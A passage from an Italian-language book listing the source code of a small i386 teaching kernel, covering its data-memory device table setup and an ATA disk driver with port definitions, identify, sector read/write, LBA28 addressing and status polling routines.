220012     int            a;
220013     int            p;
220014     ata_sector_t   sector_buffer;
220015     part_t        *part;
220016     int            status;
220017     //
220018     // Reset the data-memory table.
220019     //
220020     for (d = 0; d < DM_MAX_DEVICES; d++)
220021       {
220022         dm_table[d].type          = DM_TYPE_NONE;
220023         dm_table[d].table         = NULL;
220024         dm_table[d].part[0].start = 0;
220025         dm_table[d].part[0].size  = 0;
220026         dm_table[d].part[0].type  = PART_TYPE_NO_PART;
220027         for (p = 0; p < PART_MAX; p++)
220028           {
220029             dm_table[d].part[p+1].start = 0;
220030             dm_table[d].part[p+1].size  = 0;
220031             dm_table[d].part[p+1].type  = PART_TYPE_NONE;
220032           }
220033       }
220034     //
220035     // Reset data-memory index.
220036     //
220037     d = 0;
220038     //
220039     // Init ATA devices.
220040     //
220041     ata_init ();
220042     //
220043     // Assign ATA devices to the first data-memory items.
220044     //
```

```
220045      for (a = 0; a < ATA_MAX_DEVICES; a++)
220046        {
220047          if (ata_table[a].present == 0)
220048            {
220049              //
220050              // Current data-memory device will be
220051              // used for the next ATA device, if any.
220052              //
220053              continue;
220054            }
220055          //
220056          // Show something.
220057          //
220058          k_printf ("[%s] ATA drive=%i total sectors=%i\n", __func__,
220059                     a, (int) ata_table[d].sectors);
220060          //
220061          dm_table[d].type          = DM_TYPE_ATA;
220062          dm_table[d].table         = &ata_table[a];
220063          dm_table[d].part[0].start = 0;
220064          dm_table[d].part[0].size  = ata_table[a].sectors;
220065          dm_table[d].part[0].type  = PART_TYPE_NO_PART;
220066          //
220067          // Read partitions.
220068          //
220069          status = ata_read_sector (a, 0, &sector_buffer);
220070          //
220071          if (status)
220072            {
220073              errset (errno);
220074              k_perror (NULL);
220075            }
220076          else
220077            {
220078              part = (((void *) &sector_buffer) + PART_TABLE_OFF);
220079              //
220080              for (p = 0; p < PART_MAX; p++)
220081                {
220082                  //
220083                  dm_table[d].part[p+1].start = part->l_start
220084                                              * ATA_SECTOR_SIZE;
220085                  dm_table[d].part[p+1].size  = part->size
220086                                              * ATA_SECTOR_SIZE;
220087                  dm_table[d].part[p+1].type  = part->type;
220088                  //
220089                  // Show info.
220090                  //
220091                  if (part->type != 0)
220092                    {
220093                      k_printf ("[%s] partition type=%02x "
220094                                "start sector=%i total sectors=%i\n",
220095                                __func__, (int) part->type,
220096                                (int) part->l_start, (int) part->size);
```

```
220097                     }
220098                     //
220099                     part++;
220100                 }
220101             }
220102         //
220103         // Next data-memory device.
220104         //
220105         d++;
220106     }
220107 }
```

119.4.2 kernel/dm/dm_public.c

Si veda la sezione 118.4.

```
230001 #include <kernel/dm.h>
230002 //----------------------------------------------------------------------
230003 dm_t    dm_table[DM_MAX_DEVICES];
```

119.4.3 kernel/driver/ata.h

Si veda la sezione 118.1.

```
240001 #ifndef _KERNEL_DRIVER_ATA_H
240002 #define _KERNEL_DRIVER_ATA_H    1
240003 //----------------------------------------------------------------------
240004 #include <stdint.h>
240005 #include <sys/types.h>
240006 #include <time.h>
240007 //----------------------------------------------------------------------
240008 //
240009 // I/O ports, used to access ATA bus registers. These I/O ports
240010 // are different for every ATA bus.
240011 //
240012 #define ATA0_DATA           0x1F0       // r/w
240013 #define ATA0_FEATURE        0x1F1       // -/w
240014 #define ATA0_ERROR          0x1F1       // r/-
240015 #define ATA0_COUNT          0x1F2       // r/w
240016 #define ATA0_LOW            0x1F3       // r/w
240017 #define ATA0_MID            0x1F4       // r/w
240018 #define ATA0_HIGH           0x1F5       // r/w
240019 #define ATA0_DEVICE         0x1F6       // r/w
240020 #define ATA0_COMMAND        0x1F7       // -/w
240021 #define ATA0_STATUS         0x1F7       // r/-  regular status
240022 #define ATA0_CONTROL        0x3F6       // -/w
240023 #define ATA0_ALTERNATE      0x3F6       // w/-  alternate status
240024 //
240025 #define ATA1_DATA           0x170       // r/w
```

```
240026 #define ATA1_FEATURE       0x171        // -/w
240027 #define ATA1_ERROR         0x171        // r/-
240028 #define ATA1_COUNT         0x172        // r/w
240029 #define ATA1_LOW           0x173        // r/w
240030 #define ATA1_MID           0x174        // r/w
240031 #define ATA1_HIGH          0x175        // r/w
240032 #define ATA1_DEVICE        0x176        // r/w
240033 #define ATA1_COMMAND       0x177        // -/w
240034 #define ATA1_STATUS        0x177        // r/-  regular status
240035 #define ATA1_CONTROL       0x376        // -/w
240036 #define ATA1_ALTERNATE     0x376        // w/-  alternate status
240037 //
240038 #define ATA2_DATA          0x1E8        // r/w
240039 #define ATA2_FEATURE       0x1E9        // -/w
240040 #define ATA2_ERROR         0x1E9        // r/-
240041 #define ATA2_COUNT         0x1EA        // r/w
240042 #define ATA2_LOW           0x1EB        // r/w
240043 #define ATA2_MID           0x1EC        // r/w
240044 #define ATA2_HIGH          0x1ED        // r/w
240045 #define ATA2_DEVICE        0x1EE        // r/w
240046 #define ATA2_COMMAND       0x1EF        // -/w
240047 #define ATA2_STATUS        0x1EF        // r/-  regular status
240048 #define ATA2_CONTROL       0x3E6        // -/w
240049 #define ATA2_ALTERNATE     0x3E6        // w/-  alternate status
240050 //
240051 #define ATA3_DATA          0x168        // r/w
240052 #define ATA3_FEATURE       0x169        // -/w
240053 #define ATA3_ERROR         0x169        // r/-
240054 #define ATA3_COUNT         0x16A        // r/w
240055 #define ATA3_LOW           0x16B        // r/w
240056 #define ATA3_MID           0x16C        // r/w
240057 #define ATA3_HIGH          0x16D        // r/w
240058 #define ATA3_DEVICE        0x16E        // r/w
240059 #define ATA3_COMMAND       0x16F        // -/w
240060 #define ATA3_STATUS        0x16F        // r/-  regular status
240061 #define ATA3_CONTROL       0x366        // -/w
240062 #define ATA3_ALTERNATE     0x366        // w/-  alternate status
240063 //
240064 // Status register flags (regular or alternate).
240065 //
240066 #define ATA_STATUS_BSY            0x80    // Busy
240067 #define ATA_STATUS_DRDY           0x40    // Ready
240068 #define ATA_STATUS_DF             0x20    // Drive Fault
240069 #define ATA_STATUS_DRQ            0x08    // Data request
240070 #define ATA_STATUS_ERR            0x01    // Error
240071 //
240072 // Values to put to the device register
240073 //
240074 #define ATA_DEVICE_CHS          0x00
240075 #define ATA_DEVICE_LBA          0x40
240076 #define ATA_DEVICE_MASTER       0x00
240077 #define ATA_DEVICE_SLAVE        0x10
```

```
240078 //
240079 // Values to put to the command register
240080 //
240081 #define ATA_COMMAND_IDENTIFY_DEVICE      0xEC
240082 #define ATA_COMMAND_READ_SECTORS         0x20
240083 #define ATA_COMMAND_WRITE_SECTORS        0x30
240084 #define ATA_COMMAND_FLUSH_CACHE          0xE7
240085 //
240086 // Values to put to the control register (device control register).
240087 //
240088 #define ATA_CONTROL_HOB        0x80
240089 #define ATA_CONTROL_SRST       0x04    // Software reset.
240090 #define ATA_CONTROL_NIEN       0x01    // No Interrupt enabled.
240091 //
240092 //
240093 //
240094 #define ATA_MAX_DEVICES        8       // Fixed.
240095 #define ATA_SECTOR_SIZE        512     // Fixed.
240096 #define ATA_TIMEOUT            ((clock_t) (CLOCKS_PER_SEC * 1))  //  1 s
240097 #define ATA_TIMEOUT_FLUSH      ((clock_t) (CLOCKS_PER_SEC * 10)) // 10 s
240098 //
240099 //
240100 //
240101 typedef struct {
240102     unsigned short r_data;
240103     unsigned short r_feature;
240104     unsigned short r_error;
240105     unsigned short r_count;
240106     unsigned short r_low;
240107     unsigned short r_mid;
240108     unsigned short r_high;
240109     unsigned short r_device;
240110     unsigned short r_command;
240111     unsigned short r_status;
240112     unsigned short r_control;
240113     unsigned short r_alternate;
240114     unsigned char  bus;
240115     unsigned char  target;
240116     unsigned char  present;
240117     uint16_t       id[ATA_SECTOR_SIZE/2];
240118     unsigned int   sectors;
240119 } ata_t;
240120 //
240121 typedef struct {
240122     char byte[ATA_SECTOR_SIZE];
240123 } ata_sector_t;
240124 //
240125 extern ata_t ata_table[ATA_MAX_DEVICES];
240126 //----------------------------------------------------------------------
240127 void   ata_init                (void);
240128 void   ata_reset               (int drive);
240129 int    ata_valid               (int drive);
```

```
240130 //----------------------------------------------------------------------
240131 int     ata_cmd_identify_device (int drive, void *buffer);
240132 int     ata_cmd_read_sectors    (int drive, unsigned int sector,
240133                                  unsigned char count, void *buffer);
240134 int     ata_cmd_write_sectors   (int drive, unsigned int sector,
240135                                  unsigned char count, void *buffer);
240136 int     ata_device              (int drive, unsigned int sector);
240137 //----------------------------------------------------------------------
240138 int     ata_rdy                 (int drive, clock_t timeout);
240139 int     ata_drq                 (int drive, clock_t timeout);
240140 int     ata_lba28               (int drive, unsigned int sector,
240141                                  unsigned char count);
240142 //----------------------------------------------------------------------
240143 #define ata_read_sector(drive, sector, buffer)  \
240144     (ata_cmd_read_sectors ((int) drive, (unsigned int) sector, \
240145                            (unsigned char) 1, (void *) buffer))
240146 //
240147 #define ata_write_sector(drive, sector, buffer)  \
240148     (ata_cmd_write_sectors ((int) drive, (unsigned int) sector, \
240149                             (unsigned char) 1, (void *) buffer))
240150 //----------------------------------------------------------------------
240151 #endif
```

119.4.4 kernel/driver/ata/ata_cmd_identify_device.c

Si veda la sezione 118.1.

```
250001 #include <kernel/driver/ata.h>
250002 #include <kernel/lib_k.h>
250003 #include <kernel/ibm_i386.h>
250004 #include <stdint.h>
250005 #include <errno.h>
250006 //----------------------------------------------------------------------
250007 int
250008 ata_cmd_identify_device (int drive, void *buffer)
250009 {
250010     unsigned char status;
250011     int           s;
250012     int           i;
250013     uint16_t     *id = buffer;
250014     //
250015     // Register 'device'.
250016     //
250017     s = ata_device (drive, 0);
250018     if (s < 0)
250019       {
250020         errset (errno);
250021         return (-1);
250022       }
250023     //
250024     // Send 'command'
```

```
250025      //
250026      out_8 (ata_table[drive].r_command, ATA_COMMAND_IDENTIFY_DEVICE);
250027      //
250028      // Read the regular status port.
250029      //
250030      status = in_8 (ata_table[drive].r_status);
250031      //
250032      // If the status is zero, there is no drive.
250033      //
250034      if (status == 0)
250035        {
250036          //
250037          // Clear the 'id[]' array and return.
250038          //
250039          for (i = 0; i < (ATA_SECTOR_SIZE/2); i++)
250040            {
250041              id[i] = 0;
250042            }
250043          return (0);
250044        }
250045      //
250046      // Wait for the drive ready to send data.
250047      //
250048      s = ata_drq (drive, ATA_TIMEOUT);
250049      if (s < 0)
250050        {
250051          errset (errno);
250052          return (-1);
250053        }
250054      //
250055      // Read data.
250056      //
250057      for (i = 0; i < (ATA_SECTOR_SIZE/2); i++)
250058        {
250059          id[i] = in_16 (ata_table[drive].r_data);
250060        }
250061      //
250062      // Return.
250063      //
250064      return (0);
250065  }
```

119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c

Si veda la sezione 118.1.

```
260001  #include <kernel/driver/ata.h>
260002  #include <kernel/lib_k.h>
260003  #include <kernel/ibm_i386.h>
260004  #include <stdint.h>
260005  #include <errno.h>
```

```
260006 //----------------------------------------------------------------------
260007 int
260008 ata_cmd_read_sectors (int drive, unsigned int sector,
260009                       unsigned char count, void *buffer)
260010 {
260011     int       s;
260012     int       i;
260013     int       c;
260014     uint16_t *destination = buffer;
260015     //
260016     // Set LBA 28 parameters.
260017     //
260018     s = ata_lba28 (drive, sector, count);
260019     if (s < 0)
260020       {
260021         errset (errno);
260022         return (-1);
260023       }
260024     //
260025     // Send 'command'
260026     //
260027     out_8 (ata_table[drive].r_command, ATA_COMMAND_READ_SECTORS);
260028     //
260029     // Parameter 'count' equal to zero means 256 sectors.
260030     //
260031     if (count == 0)
260032       {
260033         c = 256;
260034       }
260035     else
260036       {
260037         c = count;
260038       }
260039     //
260040     // Read 'c' sectors.
260041     //
260042     for (; c > 0; c--)
260043       {
260044         s = ata_drq (drive, ATA_TIMEOUT);
260045         if (s < 0)
260046           {
260047             errset (errno);
260048             return (-1);
260049           }
260050         //
260051         // Read sector.
260052         //
260053         for (i = 0; i < (ATA_SECTOR_SIZE/2); i++)
260054           {
260055             destination[i] = in_16 (ata_table[drive].r_data);
260056           }
260057       }
```

```
260058      //
260059      // Wait that the device returns ready.
260060      //
260061      s = ata_rdy (drive, ATA_TIMEOUT);
260062      if (s < 0)
260063        {
260064          errset (errno);
260065          return (-1);
260066        }
260067      //
260068      // Return.
260069      //
260070      return (0);
260071  }
```

119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c

Si veda la sezione 118.1.

```
270001  #include <kernel/driver/ata.h>
270002  #include <kernel/lib_k.h>
270003  #include <kernel/ibm_i386.h>
270004  #include <stdint.h>
270005  #include <errno.h>
270006  //----------------------------------------------------------------------
270007  int
270008  ata_cmd_write_sectors (int drive, unsigned int sector,
270009                         unsigned char count, void *buffer)
270010  {
270011      int       s;
270012      int       i;
270013      int       c;
270014      uint16_t *source = buffer;
270015      //
270016      // Set LBA 28 parameters.
270017      //
270018      s = ata_lba28 (drive, sector, count);
270019      if (s < 0)
270020        {
270021          errset (errno);
270022          return (-1);
270023        }
270024      //
270025      // Send 'command'
270026      //
270027      out_8 (ata_table[drive].r_command, ATA_COMMAND_WRITE_SECTORS);
270028      //
270029      // Parameter 'count' equal to zero means 256 sectors.
270030      //
270031      if (count == 0)
270032        {
```

```
270033             c = 256;
270034           }
270035         else
270036           {
270037             c = count;
270038           }
270039         //
270040         // Read 'c' sectors.
270041         //
270042         for (; c > 0; c--)
270043           {
270044             s = ata_drq (drive, ATA_TIMEOUT);
270045             if (s < 0)
270046               {
270047                 errset (errno);
270048                 return (-1);
270049               }
270050             //
270051             // Write sector.
270052             //
270053             for (i = 0; i < (ATA_SECTOR_SIZE/2); i++)
270054               {
270055                 out_16 (ata_table[drive].r_data, source[i]);
270056               }
270057           }
270058         //
270059         // Wait that the device returns ready.
270060         //
270061         s = ata_rdy (drive, ATA_TIMEOUT);
270062         if (s < 0)
270063           {
270064             errset (errno);
270065             return (-1);
270066           }
270067         //
270068         // Now flush cache.
270069         //
270070         out_8 (ata_table[drive].r_command, ATA_COMMAND_FLUSH_CACHE);
270071         //
270072         // Then wait that the device returns ready.
270073         //
270074         s = ata_rdy (drive, ATA_TIMEOUT_FLUSH);
270075         if (s < 0)
270076           {
270077             errset (errno);
270078             return (-1);
270079           }
270080         //
270081         // Return.
270082         //
270083         return (0);
```

```
270084 }
```

119.4.7 kernel/driver/ata/ata_device.c

Si veda la sezione 118.1.

```
280001 #include <kernel/driver/ata.h>
280002 #include <kernel/lib_s.h>
280003 #include <kernel/ibm_i386.h>
280004 #include <stdint.h>
280005 #include <errno.h>
280006 //----------------------------------------------------------------------
280007 int
280008 ata_device (int drive, unsigned int sector)
280009 {
280010     unsigned char device;
280011     int           s;
280012     //
280013     // Verify 'drive' argument.
280014     //
280015     s = ata_valid (drive);
280016     if (s < 0)
280017       {
280018         errset (EINVAL);
280019         return (-1);
280020       }
280021     //
280022     // Start building the 'device' register.
280023     //
280024     device = 0;
280025     //
280026     // The access will be LBA: no CHS at all here!
280027     //
280028     device |= ATA_DEVICE_LBA;
280029     //
280030     // Set the device number, relative to the bus.
280031     //
280032     device |= ata_table[drive].target;
280033     //
280034     // Put the highest four bits of the sector number,
280035     // that can use at most 28 bits.
280036     //
280037     device |= ((sector & 0x0F000000) >> 24);
280038     //
280039     // Must select the new drive.
280040     //
280041     out_8 (ata_table[drive].r_device, device);
280042     //
280043     // Wait for selected drive ready.
280044     //
280045     s = ata_rdy (drive, ATA_TIMEOUT);
```

```
280046      if (s < 0)
280047        {
280048          errset (errno);
280049          return (-1);
280050        }
280051      //
280052      // Ok.
280053      //
280054      return (0);
280055  }
```

119.4.8 kernel/driver/ata/ata_drq.c

Si veda la sezione 118.1.

```
290001  #include <kernel/driver/ata.h>
290002  #include <kernel/lib_s.h>
290003  #include <kernel/ibm_i386.h>
290004  #include <stdint.h>
290005  #include <errno.h>
290006  //----------------------------------------------------------------------
290007  int
290008  ata_drq (int drive, clock_t timeout)
290009  {
290010      clock_t       time_start;
290011      clock_t       time_now;
290012      clock_t       time_elapsed;
290013      int           status;
290014      //
290015      // The timeout value must be at least two.
290016      //
290017      if (timeout < 2)
290018        {
290019          timeout = 2;
290020        }
290021      //
290022      // Get the status register.
290023      //
290024      time_elapsed       = 0;
290025      time_start         = s_clock ((pid_t) 0);
290026      while (time_elapsed < timeout)
290027        {
290028          time_now = s_clock ((pid_t) 0);
290029          time_elapsed = time_now - time_start;
290030          //
290031          status = in_8 (ata_table[drive].r_status);
290032          //
290033          // Is it BSY?
290034          //
290035          if (status & ATA_STATUS_BSY)
290036            {
```

```
290037                 //
290038                 // Read the status again.
290039                 //
290040                 continue;
290041               }
290042             //
290043             // No more busy, but check for errors.
290044             //
290045             if (status & ATA_STATUS_DF)
290046               {
290047                 k_printf ("[%s] ERROR: drive %i fault\n", __func__, drive);
290048                 ata_reset (drive);
290049                 errset (E_HARDWARE_FAULT);
290050                 return (-1);
290051               }
290052             //
290053             if (status & ATA_STATUS_ERR)
290054               {
290055                 k_printf ("[%s] ERROR: drive %i error\n", __func__, drive);
290056                 ata_reset (drive);
290057                 errset (E_DRIVER_FAULT);
290058                 return (-1);
290059               }
290060             //
290061             // Now check for the DRQ.
290062             //
290063             if (status & ATA_STATUS_DRQ)
290064               {
290065                 //
290066                 // Ok.
290067                 //
290068                 return (0);
290069               }
290070         }
290071       //
290072       // Sorry: time out!
290073       //
290074       k_printf ("[%s] ERROR: drive %i timeout\n", __func__, drive);
290075       errset (ETIME);
290076       return (-1);
290077   }
```

119.4.9 kernel/driver/ata/ata_init.c

Si veda la sezione 118.1.

```
300001 #include <kernel/driver/ata.h>
300002 #include <kernel/lib_k.h>
300003 #include <kernel/ibm_i386.h>
300004 #include <stdint.h>
300005 #include <errno.h>
```

```
300006 //----------------------------------------------------------------------
300007 void
300008 ata_init (void)
300009 {
300010     unsigned char status;
300011     int           s;
300012     int           d;
300013     //
300014     // Set bus numbers and I/O ports for each possible drive.
300015     // I/O ports are related to the bus, so every couple of
300016     // drive has the same ports.
300017     //
300018     if (ATA_MAX_DEVICES > 0)
300019       {
300020         ata_table[0].bus                = 0;
300021         ata_table[0].r_data             = ATA0_DATA;
300022         ata_table[0].r_feature          = ATA0_FEATURE;
300023         ata_table[0].r_error            = ATA0_ERROR;
300024         ata_table[0].r_count            = ATA0_COUNT;
300025         ata_table[0].r_low              = ATA0_LOW;
300026         ata_table[0].r_mid              = ATA0_MID;
300027         ata_table[0].r_high             = ATA0_HIGH;
300028         ata_table[0].r_device           = ATA0_DEVICE;
300029         ata_table[0].r_command          = ATA0_COMMAND;
300030         ata_table[0].r_status           = ATA0_STATUS;
300031         ata_table[0].r_control          = ATA0_CONTROL;
300032         ata_table[0].r_alternate        = ATA0_ALTERNATE;
300033         ata_table[0].target             = ATA_DEVICE_MASTER;
300034         //
300035         ata_table[1].bus                = 0;
300036         ata_table[1].r_data             = ATA0_DATA;
300037         ata_table[1].r_feature          = ATA0_FEATURE;
300038         ata_table[1].r_error            = ATA0_ERROR;
300039         ata_table[1].r_count            = ATA0_COUNT;
300040         ata_table[1].r_low              = ATA0_LOW;
300041         ata_table[1].r_mid              = ATA0_MID;
300042         ata_table[1].r_high             = ATA0_HIGH;
300043         ata_table[1].r_device           = ATA0_DEVICE;
300044         ata_table[1].r_command          = ATA0_COMMAND;
300045         ata_table[1].r_status           = ATA0_STATUS;
300046         ata_table[1].r_control          = ATA0_CONTROL;
300047         ata_table[1].r_alternate        = ATA0_ALTERNATE;
300048         ata_table[1].target             = ATA_DEVICE_SLAVE;
300049       }
300050     //
300051     if (ATA_MAX_DEVICES > 2)
300052       {
300053         ata_table[2].bus                = 1;
300054         ata_table[2].r_data             = ATA1_DATA;
300055         ata_table[2].r_feature          = ATA1_FEATURE;
300056         ata_table[2].r_error            = ATA1_ERROR;
300057         ata_table[2].r_count            = ATA1_COUNT;
```

```
300058             ata_table[2].r_low               = ATA1_LOW;
300059             ata_table[2].r_mid               = ATA1_MID;
300060             ata_table[2].r_high              = ATA1_HIGH;
300061             ata_table[2].r_device            = ATA1_DEVICE;
300062             ata_table[2].r_command           = ATA1_COMMAND;
300063             ata_table[2].r_status            = ATA1_STATUS;
300064             ata_table[2].r_control           = ATA1_CONTROL;
300065             ata_table[2].r_alternate         = ATA1_ALTERNATE;
300066             ata_table[2].target              = ATA_DEVICE_MASTER;
300067             //
300068             ata_table[3].bus                 = 1;
300069             ata_table[3].r_data              = ATA1_DATA;
300070             ata_table[3].r_feature           = ATA1_FEATURE;
300071             ata_table[3].r_error             = ATA1_ERROR;
300072             ata_table[3].r_count             = ATA1_COUNT;
300073             ata_table[3].r_low               = ATA1_LOW;
300074             ata_table[3].r_mid               = ATA1_MID;
300075             ata_table[3].r_high              = ATA1_HIGH;
300076             ata_table[3].r_device            = ATA1_DEVICE;
300077             ata_table[3].r_command           = ATA1_COMMAND;
300078             ata_table[3].r_status            = ATA1_STATUS;
300079             ata_table[3].r_control           = ATA1_CONTROL;
300080             ata_table[3].r_alternate         = ATA1_ALTERNATE;
300081             ata_table[3].target              = ATA_DEVICE_SLAVE;
300082           }
300083         //
300084         if (ATA_MAX_DEVICES > 4)
300085           {
300086             ata_table[4].bus                 = 2;
300087             ata_table[4].r_data              = ATA2_DATA;
300088             ata_table[4].r_feature           = ATA2_FEATURE;
300089             ata_table[4].r_error             = ATA2_ERROR;
300090             ata_table[4].r_count             = ATA2_COUNT;
300091             ata_table[4].r_low               = ATA2_LOW;
300092             ata_table[4].r_mid               = ATA2_MID;
300093             ata_table[4].r_high              = ATA2_HIGH;
300094             ata_table[4].r_device            = ATA2_DEVICE;
300095             ata_table[4].r_command           = ATA2_COMMAND;
300096             ata_table[4].r_status            = ATA2_STATUS;
300097             ata_table[4].r_control           = ATA2_CONTROL;
300098             ata_table[4].r_alternate         = ATA2_ALTERNATE;
300099             ata_table[4].target              = ATA_DEVICE_MASTER;
300100             //
300101             ata_table[5].bus                 = 2;
300102             ata_table[5].r_data              = ATA2_DATA;
300103             ata_table[5].r_feature           = ATA2_FEATURE;
300104             ata_table[5].r_error             = ATA2_ERROR;
300105             ata_table[5].r_count             = ATA2_COUNT;
300106             ata_table[5].r_low               = ATA2_LOW;
300107             ata_table[5].r_mid               = ATA2_MID;
300108             ata_table[5].r_high              = ATA2_HIGH;
300109             ata_table[5].r_device            = ATA2_DEVICE;
```

```
300110         ata_table[5].r_command         = ATA2_COMMAND;
300111         ata_table[5].r_status          = ATA2_STATUS;
300112         ata_table[5].r_control         = ATA2_CONTROL;
300113         ata_table[5].r_alternate       = ATA2_ALTERNATE;
300114         ata_table[5].target            = ATA_DEVICE_SLAVE;
300115       }
300116     //
300117     if (ATA_MAX_DEVICES > 6)
300118       {
300119         ata_table[6].bus               = 3;
300120         ata_table[6].r_data            = ATA3_DATA;
300121         ata_table[6].r_feature         = ATA3_FEATURE;
300122         ata_table[6].r_error           = ATA3_ERROR;
300123         ata_table[6].r_count           = ATA3_COUNT;
300124         ata_table[6].r_low             = ATA3_LOW;
300125         ata_table[6].r_mid             = ATA3_MID;
300126         ata_table[6].r_high            = ATA3_HIGH;
300127         ata_table[6].r_device          = ATA3_DEVICE;
300128         ata_table[6].r_command         = ATA3_COMMAND;
300129         ata_table[6].r_status          = ATA3_STATUS;
300130         ata_table[6].r_control         = ATA3_CONTROL;
300131         ata_table[6].r_alternate       = ATA3_ALTERNATE;
300132         ata_table[6].target            = ATA_DEVICE_MASTER;
300133         //
300134         ata_table[7].bus               = 3;
300135         ata_table[7].r_data            = ATA3_DATA;
300136         ata_table[7].r_feature         = ATA3_FEATURE;
300137         ata_table[7].r_error           = ATA3_ERROR;
300138         ata_table[7].r_count           = ATA3_COUNT;
300139         ata_table[7].r_low             = ATA3_LOW;
300140         ata_table[7].r_mid             = ATA3_MID;
300141         ata_table[7].r_high            = ATA3_HIGH;
300142         ata_table[7].r_device          = ATA3_DEVICE;
300143         ata_table[7].r_command         = ATA3_COMMAND;
300144         ata_table[7].r_status          = ATA3_STATUS;
300145         ata_table[7].r_control         = ATA3_CONTROL;
300146         ata_table[7].r_alternate       = ATA3_ALTERNATE;
300147         ata_table[7].target            = ATA_DEVICE_SLAVE;
300148       }
300149     //
300150     // Scan and eliminate buses with no drive at all.
300151     //
300152     for (d = 0; d < ATA_MAX_DEVICES; d += 2)
300153       {
300154         status = in_8 (ata_table[d].r_status);
300155         if (status == 0xFF)
300156           {
300157             ata_table[d].present   = 0;
300158             ata_table[d+1].present = 0;
300159           }
300160         else
300161           {
```

```
300162                 ata_table[d].present   = 1;
300163                 ata_table[d+1].present = 1;
300164               }
300165           }
300166         //
300167         // Identify drives.
300168         //
300169         for (d = 0; d < ATA_MAX_DEVICES; d++)
300170           {
300171             if (ata_table[d].present == 0)
300172               {
300173                 continue;
300174               }
300175             //
300176             // Register 'device'.
300177             //
300178             s = ata_device (d, 0);
300179             if (s < 0)
300180               {
300181                 errset (errno);
300182                 k_perror (NULL);
300183                 ata_table[d].present = 0;
300184                 continue;
300185               }
300186             //
300187             // Send command 'IDENTIFY DEVICE'
300188             //
300189             s = ata_cmd_identify_device (d, &(ata_table[d].id[0]));
300190             if (s < 0)
300191               {
300192                 ata_table[d].present = 0;
300193                 continue;
300194               }
300195             //
300196             // Verify again if the drive is present: the
300197             // function might have found that it does not exist.
300198             //
300199             if (ata_table[d].present == 0)
300200               {
300201                 continue;
300202               }
300203             //
300204             // Find total sectors (for 28 bit LBA access). It is written
300205             // inside the integer formed by 'identity[60]' and
300206             // 'identity[61]', considering it in little endian mode.
300207             // It is taken the pointer to 'identity[60]', transformed
300208             // into a pointer to a 32 bit integer, and then dereferenced
300209             // again.
300210             //
300211             ata_table[d].sectors
300212                 = *((uint32_t *) &(ata_table[d].id[60]));
300213             //
```

```
300214          // Check if the size value is right.
300215          //
300216          if (ata_table[d].sectors == 0)
300217            {
300218              ata_table[d].present = 0;
300219            }
300220          else
300221            {
300222              //
300223              // Show info.
300224              //
300225              k_printf ("[%s] ATA drive %i size %i Kib\n", __func__,
300226                        d, ata_table[d].sectors / 2);
300227            }
300228        }
300229  }
```

119.4.10 kernel/driver/ata/ata_lba28.c

Si veda la sezione 118.1.

```
310001  #include <kernel/driver/ata.h>
310002  #include <kernel/lib_s.h>
310003  #include <kernel/ibm_i386.h>
310004  #include <stdint.h>
310005  #include <errno.h>
310006  //----------------------------------------------------------------------
310007  int
310008  ata_lba28 (int drive, unsigned int sector, unsigned char count)
310009  {
310010      int           s;
310011      unsigned char low;
310012      unsigned char mid;
310013      unsigned char high;
310014      //
310015      // Register 'device'.
310016      //
310017      s = ata_device (drive, sector);
310018      if (s < 0)
310019        {
310020          k_perror (NULL);
310021
310022          errset (errno);
310023          return (-1);
310024        }
310025      //
310026      // Register 'control', to set nIEN.
310027      //
310028      out_8 (ata_table[drive].r_control, ATA_CONTROL_NIEN);
310029      //
310030      // Register 'feature'. not used.
```

```
310031     //
310032     out_8 (ata_table[drive].r_feature, 0);
310033     //
310034     // Register 'count'
310035     //
310036     out_8 (ata_table[drive].r_count, count);
310037     //
310038     // Registers 'low', 'mid', 'high'.
310039     //
310040     low  = (sector & 0x000000FF);
310041     mid  = ((sector & 0x0000FF00) >> 8);
310042     high = ((sector & 0x00FF0000) >> 16);
310043     //
310044     out_8 (ata_table[drive].r_low,  low);
310045     out_8 (ata_table[drive].r_mid,  mid);
310046     out_8 (ata_table[drive].r_high, high);
310047     //
310048     // Ok.
310049     //
310050     return (0);
310051 }
```

119.4.11 kernel/driver/ata/ata_public.c

Si veda la sezione 118.1.

```
320001 #include <kernel/driver/ata.h>
320002 //----------------------------------------------------------------------
320003 ata_t ata_table[ATA_MAX_DEVICES];
320004 //----------------------------------------------------------------------
```

119.4.12 kernel/driver/ata/ata_rdy.c

Si veda la sezione 118.1.

```
330001 #include <kernel/driver/ata.h>
330002 #include <kernel/lib_s.h>
330003 #include <kernel/ibm_i386.h>
330004 #include <stdint.h>
330005 #include <errno.h>
330006 //----------------------------------------------------------------------
330007 int
330008 ata_rdy (int drive, clock_t timeout)
330009 {
330010     clock_t       time_start;
330011     clock_t       time_now;
330012     clock_t       time_elapsed;
330013     unsigned char status;
330014     //
```

```
330015      // The timeout value must be at least two.
330016      //
330017      if (timeout < 2)
330018        {
330019          timeout = 2;
330020        }
330021      //
330022      // Get the status register.
330023      //
330024      time_elapsed       = 0;
330025      time_start         = s_clock ((pid_t) 0);
330026      while (time_elapsed < timeout)
330027        {
330028          time_now = s_clock ((pid_t) 0);
330029          time_elapsed = time_now - time_start;
330030          //
330031          status = in_8 (ata_table[drive].r_status);
330032          //
330033          // Is it BSY?
330034          //
330035          if (status & ATA_STATUS_BSY)
330036            {
330037              //
330038              // Read the status again.
330039              //
330040              continue;
330041            }
330042          //
330043          // No more busy, but check for errors.
330044          //
330045          if (status & ATA_STATUS_DF)
330046            {
330047              k_printf ("[%s] ERROR: drive %i fault\n", __func__, drive);
330048              ata_reset (drive);
330049              errset (E_HARDWARE_FAULT);
330050              return (-1);
330051            }
330052          //
330053          if (status & ATA_STATUS_ERR)
330054            {
330055              k_printf ("[%s] ERROR: drive %i error\n", __func__, drive);
330056              ata_reset (drive);
330057              errset (E_DRIVER_FAULT);
330058              return (-1);
330059            }
330060          //
330061          // Otherwise: ok.
330062          //
330063          return (0);
330064        }
330065      //
330066      // Sorry: time out!
```

```
330067     //
330068     k_printf ("[%s] ERROR: drive %i timeout\n", __func__, drive);
330069     errset (ETIME);
330070     return (-1);
330071 }
```

119.4.13 kernel/driver/ata/ata_reset.c

Si veda la sezione 118.1.

```
340001 #include <kernel/driver/ata.h>
340002 #include <kernel/lib_s.h>
340003 #include <kernel/ibm_i386.h>
340004 #include <stdint.h>
340005 #include <errno.h>
340006 //----------------------------------------------------------------------
340007 void
340008 ata_reset (int drive)
340009 {
340010     out_8 (ata_table[drive].r_control, ATA_CONTROL_SRST);
340011     out_8 (ata_table[drive].r_control, 0);
340012 }
```

119.4.14 kernel/driver/ata/ata_valid.c

